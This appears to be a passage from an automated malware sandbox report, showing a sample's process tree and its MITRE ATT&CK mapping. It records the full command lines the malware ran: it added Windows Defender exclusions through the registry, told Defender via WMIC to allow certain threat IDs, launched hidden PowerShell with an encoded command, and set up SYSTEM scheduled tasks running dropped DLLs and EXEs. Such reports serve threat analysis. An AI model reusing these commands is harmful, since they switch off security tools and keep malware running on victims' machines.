    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:9036
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7432
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4632
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gKPNfIFww" /SC once /ST 00:37:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:7276
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gKPNfIFww"
  2⤵
  PID:2584
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gKPNfIFww"
  2⤵
  PID:4520
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 02:22:08 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe\" za /site_id 668658 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:6120
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "xsEpqqHAgqAwsAroz"
  2⤵
  PID:296

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:9200
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:8452

C:\Users\Admin\AppData\Roaming\dijwfcr
C:\Users\Admin\AppData\Roaming\dijwfcr
1⤵
PID:7480

C:\Users\Admin\AppData\Roaming\rcjwfcr
C:\Users\Admin\AppData\Roaming\rcjwfcr
1⤵
PID:3200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:224

C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\OtwJIAz.exe za /site_id 668658 /S
1⤵
PID:2304
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
  2⤵
  PID:7436
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:8160
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:1236
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:4752
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:9188
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bRciptYQhTCMvEFWGJ"
  2⤵
  PID:7004
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:4392
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:4160
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:8828
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:6120
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\STjmdXhOU\wWKOlM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ArGDBXWmyYtLacf" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3356
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ArGDBXWmyYtLacf2" /F /xml "C:\Program Files (x86)\STjmdXhOU\mpFWpxh.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:7620
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "ArGDBXWmyYtLacf"
  2⤵
  PID:7024
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "ArGDBXWmyYtLacf"
  2⤵
  PID:7812
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dqMFPCMVHmhnSY" /F /xml "C:\Program Files (x86)\gaSWcYIjjvwU2\MFeuNqU.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4296
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "sOuBCsGGBJoge2" /F /xml "C:\ProgramData\QPFeEjmgnBUOfRVB\LAOrJHL.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2260
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gdlTlvZfIMOZAvCeb2" /F /xml "C:\Program Files (x86)\YceypsUXabDXnCzNCPR\TFVlxQV.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5452
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "PcFGIyIlUJyYablHCHc2" /F /xml "C:\Program Files (x86)\NMbcPgNClKinC\WLuDYag.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:7224
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nMmJzTJTMvgDqJXEl" /SC once /ST 02:00:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll\",#1 /site_id 668658" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:8452
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "nMmJzTJTMvgDqJXEl"
  2⤵
  PID:8388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "spubPWImnJBz" /SC once /ST 00:16:54 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe\" 3L /S"
  2⤵
  - Creates scheduled task(s)
  PID:6648
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "spubPWImnJBz"
  2⤵
  PID:6100

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll",#1 /site_id 668658
1⤵
PID:7768
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\nyFjvKGtfVGLAKAU\EdxKYSYj\baIuWkz.dll",#1 /site_id 668658
  2⤵
  PID:7624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "nMmJzTJTMvgDqJXEl"
    3⤵
    PID:4716

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\TwIQlAyA\GLooHXn.exe 3L /S
1⤵
PID:8156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery